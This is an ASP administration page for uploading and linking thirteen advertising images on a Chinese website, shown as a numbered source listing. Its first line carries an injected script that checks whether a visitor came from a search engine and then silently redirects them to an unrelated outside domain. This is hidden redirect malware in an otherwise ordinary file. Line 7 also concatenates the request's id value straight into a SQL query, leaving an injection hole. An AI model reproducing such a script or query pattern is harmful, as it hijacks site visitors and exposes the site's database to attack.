d:\wwwroot\wuchunhua\admin\ad.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_admin")="" then
003: response.redirect "login.asp"
004: end if
005: %
>
006: <%if request("id")<>"" then
007: sql="select * from china_ad where id="&request("id")&""
008: set rs=server.createobject("adodb.recordset")
009: rs.open sql,conn,1,3
010: if request("picname")<>"" then
011: rs("picname")=request("picname")
012: end if
013: if request("piclink")<>"" then
014: rs("piclink")=request("piclink")
015: end if
016: if request("pass")<>"" then
017: rs("pass")=request("pass")
018: end if
019: rs.update
020:
021: rs.close  
022: set rs=nothing
023: end if%
>
024: <html>
025:
026: <head>
027: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
028: <meta name="GENERATOR" content="Microsoft FrontPage 4.0">
029: <meta name="ProgId" content="FrontPage.Editor.Document">
030: <title>图片上传</title>
031: <link rel="stylesheet" type="text/css" href="style.css">
032: </head>
033:
034: <body>
035: <%sql="select * from china_ad"
036: set rsgg=server.createObject("ADODB.recordset")
037: rsgg.open sql,conn,1,3
038: if not rsgg.eof then
039: dim picname(13)
040: dim piclink(13)
041: dim picpass(13)
042: for i = 1 to 13
043:   picname(i) =  rsgg("picname")
044:   piclink(i) =  rsgg("piclink")
045:   picpass(i)= rsgg("pass")
046:     rsgg.movenext
047: next
048: end if
049: rsgg.close  
050: set rsgg=nothing
051: %
>
052: <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
053:   <tr>
054:     <td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">广 告 位 管 理(jpg|gif|swf|<100k) </font></td>
055:   </tr>
056:   <tr>
057:     <td bgcolor="#FFFFFF"> <br>
058:         
059:       <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
060:         <tr align="center" bgcolor="#FFFFFF" height="20">
061:           <td>编号</td>
062:           <td>位置</td>
063:           <td>文件名</td>
064:           <td>要求尺寸</td>
065:           <td>链接<font color="#FF0000">(图片有效)</font></td>
066:           <td>修改</td>
067:           <td>状态</td>
068:           <td bgcolor="#FFFFFF">预览</td>
069:         </tr>
070:         <tr bgcolor="#FFFFFF" align="center">
071:           <td align="center">1</td>
072:           <td align="left">&nbsp;首页幻灯片1</td>
073:           <td align="center"><%=picname(1)%></td>
074:           <td align="center">468×60</td>
075:           <form name="form1" method="post" action="?id=1">
076:             <td align="center">
077:               <input type="text" name="piclink" size=15 class="an" value="<%=piclink(1)%>">
078:               <input type="submit" name="Submit" value="修改" class="an" style="font-size: 12px">
079:             </td>
080:           </form>
081:           <form name="form1" method="post" action="../upfile_photo.asp?id=1" enctype="multipart/form-data">
082:             <td align="center">
083:               <input type="file" name="file1" size=15 class="an">
084:               <input type="submit" name="Submit" value="上传" class="an" style="font-size: 12px">
085:              <input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value=1>
086:             </td>
087:           </form>
088:           <td align="center">
089:             <select name="pass" onChange="location=this.options[this.selectedIndex].value" disabled>
090:               <option value="?pass=yes&id=1" <%if picpass(1)="yes" then%>selected<%end if%>>开启</option>
091:               <option value="?pass=no&id=1" <%if picpass(1)="no" then%>selected<%end if%>>关闭</option>
092:             </select>
093:           </td>
094:           <td align="center">
095:             <script>
096: function adv1()
097: {
098: if (document.all.advshow1.checked == true) {
099:    document.getElementById("adv1").style.display = "";
100: }else{
101:    document.getElementById("adv1").style.display = "none";
102: }
103: }
104: </script>
105:             <input name=advshow1 type=checkbox value=1  onclick="adv1();">
106:           </td>
107:         </tr>
108:         <tr bgcolor="#FFFFFF" align="center" id="adv1" style="display:none">
109:           <td colspan="8"><a href="<%=piclink(1)%>"><img src="../adpic/<%=picname(1)%>" width="468" height="60" border="0"></a></td>
110:         </tr>
111:         <tr bgcolor="#FFFFFF" align="center">
112:           <td>2</td>
113:           <td align="left">&nbsp;首页幻灯片2</td>
114:           <td><%=picname(2)%></td>
115:           <td>468×60</td>
116:           <form name="form1" method="post" action="?id=2">
117:             <td>
118:               <input type="text" name="piclink" size=15 class="an" value="<%=piclink(2)%>">
119:               <input type="submit" name="Submit" value="修改" class="an" style="font-size: 12px">
120:             </td>
121:           </form>
122:           <form name="form1" method="post" action="../upfile_photo.asp?id=2" enctype="multipart/form-data">
123:             <td>
124:               <input type="file" name="file1" size=15 class="an">
125:               <input type="submit" name="Submit" value="上传" class="an" style="font-size: 12px">
126:              <input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value=1>
127:             </td>
128:           </form>
129:           <td>
130:             <select name="pass" onChange="location=this.options[this.selectedIndex].value" disabled>
131:               <option value="?pass=yes&id=2" <%if picpass(2)="yes" then%>selected<%end if%>>开启</option>
132:               <option value="?pass=no&id=2" <%if picpass(2)="no" then%>selected<%end if%>>关闭</option>
133:             </select>
134:           </td>
135:           <td>
136:             <script>
137: function adv2()
138: {
139: if (document.all.advshow2.checked == true) {
140:    document.getElementById("adv2").style.display = "";
141: }else{
142:    document.getElementById("adv2").style.display = "none";
143: }
144: }
145: </script>
146:             <input name=advshow2 type=checkbox value=1  onclick="adv2();">
147:           </td>
148:         </tr>
149:         <tr bgcolor="#FFFFFF" align="center" id="adv2" style="display:none">
150:           <td colspan="8"><a href="<%=piclink(2)%>"><img src="../adpic/<%=picname(2)%>" width="468" height="60" border="0"></a></td>
151:         </tr>
152:         <tr bgcolor="#FFFFFF" align="center">
153:           <td>3</td>
154:           <td align="left">&nbsp;首页幻灯片3</td>
155:           <td><%=picname(3)%></td>
156:           <td>468×60</td>
157:           <form name="form1" method="post" action="?id=3">
158:             <td>
159:               <input type="text" name="piclink" size=15 class="an" value="<%=piclink(3)%>">
160:               <input type="submit" name="Submit" value="修改" class="an" style="font-size: 12px">
161:             </td>
162:           </form>
163:           <form name="form1" method="post" action="../upfile_photo.asp?id=3" enctype="multipart/form-data">
164:             <td>
165:               <input type="file" name="file1" size=15 class="an">
166:               <input type="submit" name="Submit" value="上传" class="an" style="font-size: 12px">
167:              <input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value=1>
168:             </td>
169:           </form>
170:           <td>
171:             <select name="pass" onChange="location=this.options[this.selectedIndex].value" disabled>
172:               <option value="?pass=yes&id=3" <%if picpass(3)="yes" then%>selected<%end if%>>开启</option>
173:               <option value="?pass=no&id=3" <%if picpass(3)="no" then%>selected<%end if%>>关闭</option>
174:             </select>
175:           </td>
176:           <td>
177:             <script>
178: function adv3()
179: {
180: if (document.all.advshow3.checked == true) {
181:    document.getElementById("adv3").style.display = "";
182: }else{
183:    document.getElementById("adv3").style.display = "none";
184: }
185: }
186: </script>
187:             <input name=advshow3 type=checkbox value=1  onclick="adv3();">
188:           </td>
189:         </tr>
190:         <tr bgcolor="#FFFFFF" align="center" id="adv3" style="display:none">
191:           <td colspan="8"><a href="<%=piclink(3)%>"><img src="../adpic/<%=picname(3)%>" width="468" height="60" border="0"></a></td>
192:         </tr>
193:         <tr bgcolor="#FFFFFF" align="center">
194:           <td>4</td>
195:           <td align="left">&nbsp;首页两侧对联</td>
196:           <td><%=picname(4)%></td>
197:           <td>100×300</td>
198:           <form name="form1" method="post" action="?id=4">
199:             <td>
200:               <input type="text" name="piclink" size=15 class="an" value="<%=piclink(4)%>">
201:               <input type="submit" name="Submit" value="修改" class="an" style="font-size: 12px">
202:             </td>
203:           </form>
204:           <form name="form1" method="post" action="../upfile_photo.asp?id=4" enctype="multipart/form-data">
205:             <td>
206:               <input type="file" name="file1" size=15 class="an">
207:               <input type="submit" name="Submit" value="上传" class="an" style="font-size: 12px">
208:              <input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value=1>
209:             </td>
210:           </form>
211:           <td>
212:             <select name="pass" onChange="location=this.options[this.selectedIndex].value">
213:               <option value="?pass=yes&id=4" <%if picpass(4)="yes" then%>selected<%end if%>>开启</option>
214:               <option value="?pass=no&id=4" <%if picpass(4)="no" then%>selected<%end if%>>关闭</option>
215:             </select>
216:           </td>
217:           <td>
218:             <script>
219: function adv4()
220: {
221: if (document.all.advshow4.checked == true) {
222:    document.getElementById("adv4").style.display = "";
223: }else{
224:    document.getElementById("adv4").style.display = "none";
225: }
226: }
227: </script>
228:             <input name=advshow4 type=checkbox value=1  onclick="adv4();">
229:           </td>
230:         </tr>
231:         <tr bgcolor="#FFFFFF" align="center" id="adv4" style="display:none">
232:           <td style="cursor:hand" onclick=window.open("<%=piclink(4)%>","_blank") colspan="8">
233:             <%if lcase(right(picname(4),3))="swf" then%>
234:             <embed src="../adpic/<%=picname(4)%>" width=100 height=300 quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" scale="noborder" >
235:             </embed>
236:             <%else%>
237:             <img src="../adpic/<%=picname(4)%>" width=100 height=300 border=0>
238:             <%end if%>
239:           </td>
240:         </tr>
241:         <tr bgcolor="#FFFFFF" align="center">
242:           <td>5</td>
243:           <td align="left">&nbsp;首页左漂浮按钮</td>
244:           <td><%=picname(5)%></td>
245:           <td>80×80</td>
246:           <form name="form1" method="post" action="?id=5">
247:             <td>
248:               <input type="text" name="piclink" size=15 class="an" value="<%=piclink(5)%>">
249:               <input type="submit" name="Submit" value="修改" class="an" style="font-size: 12px">
250:             </td>
251:           </form>
252:           <form name="form1" method="post" action="../upfile_photo.asp?id=5" enctype="multipart/form-data">
253:             <td>
254:               <input type="file" name="file1" size=15 class="an">
255:               <input type="submit" name="Submit" value="上传" class="an" style="font-size: 12px">
256:              <input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value=1>
257:             </td>
258:           </form>
259:           <td>
260:             <select name="pass" onChange="location=this.options[this.selectedIndex].value">
261:               <option value="?pass=yes&id=5" <%if picpass(5)="yes" then%>selected<%end if%>>开启</option>
262:               <option value="?pass=no&id=5" <%if picpass(5)="no" then%>selected<%end if%>>关闭</option>
263:             </select>
264:           </td>
265:           <td>
266:             <script>
267: function adv5()
268: {
269: if (document.all.advshow5.checked == true) {
270:    document.getElementById("adv5").style.display = "";
271: }else{
272:    document.getElementById("adv5").style.display = "none";
273: }
274: }
275: </script>
276:             <input name=advshow5 type=checkbox value=1  onclick="adv5();">
277:           </td>
278:         </tr>
279:         <tr bgcolor="#FFFFFF" align="center" id="adv5" style="display:none">
280:           <td style="cursor:hand" onclick=window.open("<%=piclink(5)%>","_blank") colspan="8">
281:             <%if lcase(right(picname(5),3))="swf" then%>
282:             <embed src="../adpic/<%=picname(5)%>" width=80 height=80 quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" scale="noborder" >
283:             </embed>
284:             <%else%>
285:             <img src="../adpic/<%=picname(5)%>" width=80 height=80 border=0>
286:             <%end if%>
287:           </td>
288:         </tr>
289:         <tr bgcolor="#FFFFFF" align="center">
290:           <td>6</td>
291:           <td align="left">&nbsp;首页右漂浮按钮</td>
292:           <td><%=picname(6)%></td>
293:           <td>80×80</td>
294:           <form name="form1" method="post" action="?id=6">
295:             <td>
296:               <input type="text" name="piclink" size=15 class="an" value="<%=piclink(6)%>">
297:               <input type="submit" name="Submit" value="修改" class="an" style="font-size: 12px">
298:             </td>
299:           </form>
300:           <form name="form1" method="post" action="../upfile_photo.asp?id=6" enctype="multipart/form-data">
301:             <td>
302:               <input type="file" name="file1" size=15 class="an">
303:               <input type="submit" name="Submit" value="上传" class="an" style="font-size: 12px">
304:              <input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value=1>
305:             </td>
306:           </form>
307:           <td>
308:             <select name="pass" onChange="location=this.options[this.selectedIndex].value">
309:               <option value="?pass=yes&id=6" <%if picpass(6)="yes" then%>selected<%end if%>>开启</option>
310:               <option value="?pass=no&id=6" <%if picpass(6)="no" then%>selected<%end if%>>关闭</option>
311:             </select>
312:           </td>
313:           <td>
314:             <script>
315: function adv6()
316: {
317: if (document.all.advshow6.checked == true) {
318:    document.getElementById("adv6").style.display = "";
319: }else{
320:    document.getElementById("adv6").style.display = "none";
321: }
322: }
323: </script>
324:             <input name=advshow6 type=checkbox value=1  onclick="adv6();">
325:           </td>
326:         </tr>
327:         <tr bgcolor="#FFFFFF" align="center" id="adv6" style="display:none">
328:           <td style="cursor:hand" onclick=window.open("<%=piclink(6)%>","_blank") colspan="8">
329:             <%if lcase(right(picname(6),3))="swf" then%>
330:             <embed src="../adpic/<%=picname(6)%>" width=80 height=80 quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" scale="noborder" >
331:             </embed>
332:             <%else%>
333:             <img src="../adpic/<%=picname(6)%>" width=80 height=80 border=0>
334:             <%end if%>
335:           </td>
336:         </tr>
337:         <tr bgcolor="#FFFFFF" align="center">
338:           <td>7</td>
339:           <td align="left">&nbsp;首页弹出窗口</td>
340:           <td><%=picname(7)%></td>
341:           <td>400×300</td>
342:           <form name="form1" method="post" action="?id=7">
343:             <td>
344:               <input type="text" name="piclink" size=15 class="an" value="<%=piclink(7)%>">
345:               <input type="submit" name="Submit" value="修改" class="an" style="font-size: 12px">
346:             </td>
347:           </form>
348:           <form name="form1" method="post" action="../upfile_photo.asp?id=7" enctype="multipart/form-data">
349:             <td>
350:               <input type="file" name="file1" size=15 class="an">
351:               <input type="submit" name="Submit" value="上传" class="an" style="font-size: 12px">
352:              <input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value=1>
353:             </td>
354:           </form>
355:           <td>
356:             <select name="pass" onChange="location=this.options[this.selectedIndex].value">
357:               <option value="?pass=yes&id=7" <%if picpass(7)="yes" then%>selected<%end if%>>开启</option>
358:               <option value="?pass=no&id=7" <%if picpass(7)="no" then%>selected<%end if%>>关闭</option>
359:             </select>
360:           </td>
361:           <td>
362:             <script>
363: function adv7()
364: {
365: if (document.all.advshow7.checked == true) {
366:    document.getElementById("adv7").style.display = "";
367: }else{
368:    document.getElementById("adv7").style.display = "none";
369: }
370: }
371: </script>
372:             <input name=advshow7 type=checkbox value=1  onclick="adv7();">
373:           </td>
374:         </tr>
375:         <tr bgcolor="#FFFFFF" align="center" id="adv7" style="display:none">
376:           <td style="cursor:hand" onclick=window.open("<%=piclink(7)%>","_blank") colspan="8">
377:             <%if lcase(right(picname(7),3))="swf" then%>
378:             <embed src="../adpic/<%=picname(7)%>" width=400 height=300 quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" scale="noborder" >
379:             </embed>
380:             <%else%>
381:             <img src="../adpic/<%=picname(7)%>" width=400 height=300 border=0>
382:             <%end if%>
383:           </td>
384:         </tr>
385:         <tr bgcolor="#FFFFFF" align="center">
386:           <td>8</td>
387:           <td align="left">&nbsp;首页漂浮按钮</td>
388:           <td><%=picname(8)%></td>
389:           <td>100×100</td>
390:           <form name="form1" method="post" action="?id=8">
391:             <td>
392:               <input type="text" name="piclink" size=15 class="an" value="<%=piclink(8)%>">
393:               <input type="submit" name="Submit" value="修改" class="an" style="font-size: 12px">
394:             </td>
395:           </form>
396:           <form name="form1" method="post" action="../upfile_photo.asp?id=8" enctype="multipart/form-data">
397:             <td>
398:               <input type="file" name="file1" size=15 class="an">
399:               <input type="submit" name="Submit" value="上传" class="an" style="font-size: 12px">
400:              <input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value=1>
401:             </td>
402:           </form>
403:           <td>
404:             <select name="pass" onChange="location=this.options[this.selectedIndex].value">
405:               <option value="?pass=yes&id=8" <%if picpass(8)="yes" then%>selected<%end if%>>开启</option>
406:               <option value="?pass=no&id=8" <%if picpass(8)="no" then%>selected<%end if%>>关闭</option>
407:             </select>
408:           </td>
409:           <td>
410:             <script>
411: function adv8()
412: {
413: if (document.all.advshow8.checked == true) {
414:    document.getElementById("adv8").style.display = "";
415: }else{
416:    document.getElementById("adv8").style.display = "none";
417: }
418: }
419: </script>
420:             <input name=advshow8 type=checkbox value=1  onclick="adv8();">
421:           </td>
422:         </tr>
423:         <tr bgcolor="#FFFFFF" align="center" id="adv8" style="display:none">
424:           <td style="cursor:hand" onclick=window.open("<%=piclink(8)%>","_blank") colspan="8">
425:             <%if lcase(right(picname(8),3))="swf" then%>
426:             <embed src="../adpic/<%=picname(8)%>" width=100 height=100 quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" scale="noborder" >
427:             </embed>
428:             <%else%>
429:             <img src="../adpic/<%=picname(8)%>" width=100 height=100 border=0>
430:             <%end if%>
431:           </td>
432:         </tr>
433:         <tr bgcolor="#FFFFFF" align="center">
434:           <td>9</td>
435:           <td align="left">&nbsp;首页广告A</td>
436:           <td><%=picname(13)%></td>
437:           <td>493×60</td>
438:           <form name="form1" method="post" action="?id=13">
439:             <td>
440:               <input type="text" name="piclink" size=15 class="an" value="<%=piclink(13)%>">
441:               <input type="submit" name="Submit" value="修改" class="an" style="font-size: 12px">
442:             </td>
443:           </form>
444:           <form name="form1" method="post" action="../upfile_photo1.asp?id=13" enctype="multipart/form-data">
445:             <td>
446:               <input type="file" name="file1" size=15 class="an">
447:               <input type="submit" name="Submit" value="上传" class="an" style="font-size: 12px">
448:              <input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value=1>
449:             </td>
450:           </form>
451:           <td>
452:             <select name="pass" onChange="location=this.options[this.selectedIndex].value">
453:               <option value="?pass=yes&id=13" <%if picpass(13)="yes" then%>selected<%end if%>>开启</option>
454:               <option value="?pass=no&id=13" <%if picpass(13)="no" then%>selected<%end if%>>关闭</option>
455:             </select>
456:           </td>
457:           <td>
458:             <script>
459: function adv13()
460: {
461: if (document.all.advshow13.checked == true) {
462:    document.getElementById("adv13").style.display = "";
463: }else{
464:    document.getElementById("adv13").style.display = "none";
465: }
466: }
467: </script>
468:             <input name=advshow13 type=checkbox value=1  onClick="adv13();">
469:           </td>
470:         </tr>
471:         <tr bgcolor="#FFFFFF" align="center" id="adv13" style="display:none">
472:           <td style="cursor:hand" onClick=window.open("<%=piclink(13)%>","_blank") colspan="8">
473:             <%if lcase(right(picname(13),3))="swf" then%>
474:             <embed src="../adpic/<%=picname(13)%>" width=493 height=60 quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" scale="noborder" >
475:             </embed>
476:             <%else%>
477:             <img src="../adpic/<%=picname(13)%>" width=493 height=60 border=0>
478:             <%end if%>
479:           </td>
480:         </tr>
481:         <tr bgcolor="#FFFFFF" align="center">
482:           <td>10</td>
483:           <td align="left">&nbsp;首页广告B</td>
484:           <td><%=picname(9)%></td>
485:           <td>758×100</td>
486:           <form name="form1" method="post" action="?id=9">
487:             <td>
488:               <input type="text" name="piclink" size=15 class="an" value="<%=piclink(9)%>">
489:               <input type="submit" name="Submit" value="修改" class="an" style="font-size: 12px">
490:             </td>
491:           </form>
492:           <form name="form1" method="post" action="../upfile_photo1.asp?id=9" enctype="multipart/form-data">
493:             <td>
494:               <input type="file" name="file1" size=15 class="an">
495:               <input type="submit" name="Submit" value="上传" class="an" style="font-size: 12px">
496:              <input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value=1>
497:             </td>
498:           </form>
499:           <td>
500:             <select name="pass" onChange="location=this.options[this.selectedIndex].value">
501:               <option value="?pass=yes&id=9" <%if picpass(9)="yes" then%>selected<%end if%>>开启</option>
502:               <option value="?pass=no&id=9" <%if picpass(9)="no" then%>selected<%end if%>>关闭</option>
503:             </select>
504:           </td>
505:           <td>
506:             <script>
507: function adv9()
508: {
509: if (document.all.advshow9.checked == true) {
510:    document.getElementById("adv9").style.display = "";
511: }else{
512:    document.getElementById("adv9").style.display = "none";
513: }
514: }
515: </script>
516:             <input name=advshow9 type=checkbox value=1  onclick="adv9();">
517:           </td>
518:         </tr>
519:         <tr bgcolor="#FFFFFF" align="center" id="adv9" style="display:none">
520:           <td style="cursor:hand" onclick=window.open("<%=piclink(9)%>","_blank") colspan="8">
521:             <%if lcase(right(picname(9),3))="swf" then%>
522:             <embed src="../adpic/<%=picname(9)%>" width=758 height=100 quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" scale="noborder" >
523:             </embed>
524:             <%else%>
525:             <img src="../adpic/<%=picname(9)%>" width=758 height=100 border=0>
526:             <%end if%>
527:           </td>
528:         </tr>
529:         <tr bgcolor="#FFFFFF" align="center">
530:           <td>11</td>
531:           <td align="left">&nbsp;首页广告C</td>
532:           <td><%=picname(10)%></td>
533:           <td>493×60</td>
534:           <form name="form1" method="post" action="?id=10">
535:             <td>
536:               <input type="text" name="piclink" size=15 class="an" value="<%=piclink(10)%>">
537:               <input type="submit" name="Submit" value="修改" class="an" style="font-size: 12px">
538:             </td>
539:           </form>
540:           <form name="form1" method="post" action="../upfile_photo1.asp?id=10" enctype="multipart/form-data">
541:             <td>
542:               <input type="file" name="file1" size=15 class="an">
543:               <input type="submit" name="Submit" value="上传" class="an" style="font-size: 12px">
544:              <input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value=1>
545:             </td>
546:           </form>
547:           <td>
548:             <select name="pass" onChange="location=this.options[this.selectedIndex].value">
549:               <option value="?pass=yes&id=10" <%if picpass(10)="yes" then%>selected<%end if%>>开启</option>
550:               <option value="?pass=no&id=10" <%if picpass(10)="no" then%>selected<%end if%>>关闭</option>
551:             </select>
552:           </td>
553:           <td>
554:             <script>
555: function adv10()
556: {
557: if (document.all.advshow10.checked == true) {
558:    document.getElementById("adv10").style.display = "";
559: }else{
560:    document.getElementById("adv10").style.display = "none";
561: }
562: }
563: </script>
564:             <input name=advshow10 type=checkbox value=1  onclick="adv10();">
565:           </td>
566:         </tr>
567:         <tr bgcolor="#FFFFFF" align="center" id="adv10" style="display:none">
568:           <td style="cursor:hand" onclick=window.open("<%=piclink(10)%>","_blank") colspan="8">
569:             <%if lcase(right(picname(10),3))="swf" then%>
570:             <embed src="../adpic/<%=picname(10)%>" width=493 height=60 quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" scale="noborder" >
571:             </embed>
572:             <%else%>
573:             <img src="../adpic/<%=picname(10)%>" width=493 height=60 border=0>
574:             <%end if%>
575:           </td>
576:         </tr>
577:         <tr bgcolor="#FFFFFF" align="center">
578:           <td>12</td>
579:           <td align="left">&nbsp;首页广告D</td>
580:           <td><%=picname(11)%></td>
581:           <td>493×60</td>
582:           <form name="form1" method="post" action="?id=11">
583:             <td>
584:               <input type="text" name="piclink" size=15 class="an" value="<%=piclink(11)%>">
585:               <input type="submit" name="Submit" value="修改" class="an" style="font-size: 12px">
586:             </td>
587:           </form>
588:           <form name="form1" method="post" action="../upfile_photo1.asp?id=11" enctype="multipart/form-data">
589:             <td>
590:               <input type="file" name="file1" size=15 class="an">
591:               <input type="submit" name="Submit" value="上传" class="an" style="font-size: 12px">
592:              <input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value=1>
593:             </td>
594:           </form>
595:           <td>
596:             <select name="pass" onChange="location=this.options[this.selectedIndex].value">
597:               <option value="?pass=yes&id=11" <%if picpass(11)="yes" then%>selected<%end if%>>开启</option>
598:               <option value="?pass=no&id=11" <%if picpass(11)="no" then%>selected<%end if%>>关闭</option>
599:             </select>
600:           </td>
601:           <td>
602:             <script>
603: function adv11()
604: {
605: if (document.all.advshow11.checked == true) {
606:    document.getElementById("adv11").style.display = "";
607: }else{
608:    document.getElementById("adv11").style.display = "none";
609: }
610: }
611: </script>
612:             <input name=advshow11 type=checkbox value=1  onclick="adv11();">
613:           </td>
614:         </tr>
615:         <tr bgcolor="#FFFFFF" align="center" id="adv11" style="display:none">
616:           <td style="cursor:hand" onclick=window.open("<%=piclink(11)%>","_blank") colspan="8">
617:             <%if lcase(right(picname(11),3))="swf" then%>
618:             <embed src="../adpic/<%=picname(11)%>" width=493 height=60 quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" scale="noborder" >
619:             </embed>
620:             <%else%>
621:             <img src="../adpic/<%=picname(11)%>" width=493 height=60 border=0>
622:             <%end if%>
623:           </td>
624:         </tr>
625:         <tr bgcolor="#FFFFFF" align="center">
626:           <td>13</td>
627:           <td align="left">&nbsp;信息页面广告</td>
628:           <td><%=picname(12)%></td>
629:           <td>760×100</td>
630:           <form name="form1" method="post" action="?id=12">
631:             <td>
632:               <input type="text" name="piclink" size=15 class="an" value="<%=piclink(12)%>">
633:               <input type="submit" name="Submit" value="修改" class="an" style="font-size: 12px">
634:             </td>
635:           </form>
636:           <form name="form1" method="post" action="../upfile_photo.asp?id=12" enctype="multipart/form-data">
637:             <td>
638:               <input type="file" name="file1" size=15 class="an">
639:               <input type="submit" name="Submit" value="上传" class="an" style="font-size: 12px">
640:              <input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value=1>
641:             </td>
642:           </form>
643:           <td>
644:             <select name="pass" onChange="location=this.options[this.selectedIndex].value">
645:               <option value="?pass=yes&id=12" <%if picpass(12)="yes" then%>selected<%end if%>>开启</option>
646:               <option value="?pass=no&id=12" <%if picpass(12)="no" then%>selected<%end if%>>关闭</option>
647:             </select>
648:           </td>
649:           <td>
650:             <script>
651: function adv12()
652: {
653: if (document.all.advshow12.checked == true) {
654:    document.getElementById("adv12").style.display = "";
655: }else{
656:    document.getElementById("adv12").style.display = "none";
657: }
658: }
659: </script>
660:             <input name=advshow12 type=checkbox value=1  onclick="adv12();">
661:           </td>
662:         </tr>
663:         <tr bgcolor="#FFFFFF" align="center" id="adv12" style="display:none">
664:           <td style="cursor:hand" onclick=window.open("<%=piclink(12)%>","_blank") colspan="8">
665:             <%if lcase(right(picname(12),3))="swf" then%>
666:             <embed src="../adpic/<%=picname(12)%>" width=760 height=100 quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" scale="noborder" >
667:             </embed>
668:             <%else%>
669:             <img src="../adpic/<%=picname(12)%>" width=760 height=100 border=0>
670:             <%end if%>
671:           </td>
672:         </tr>
673:       </table>
674:         <br>       </td>
675:   </tr>
676: </table>
677: </body>
678: </html>
679: <%                                                                              
680: conn.close  
681: set conn=nothing%
>
682:
683: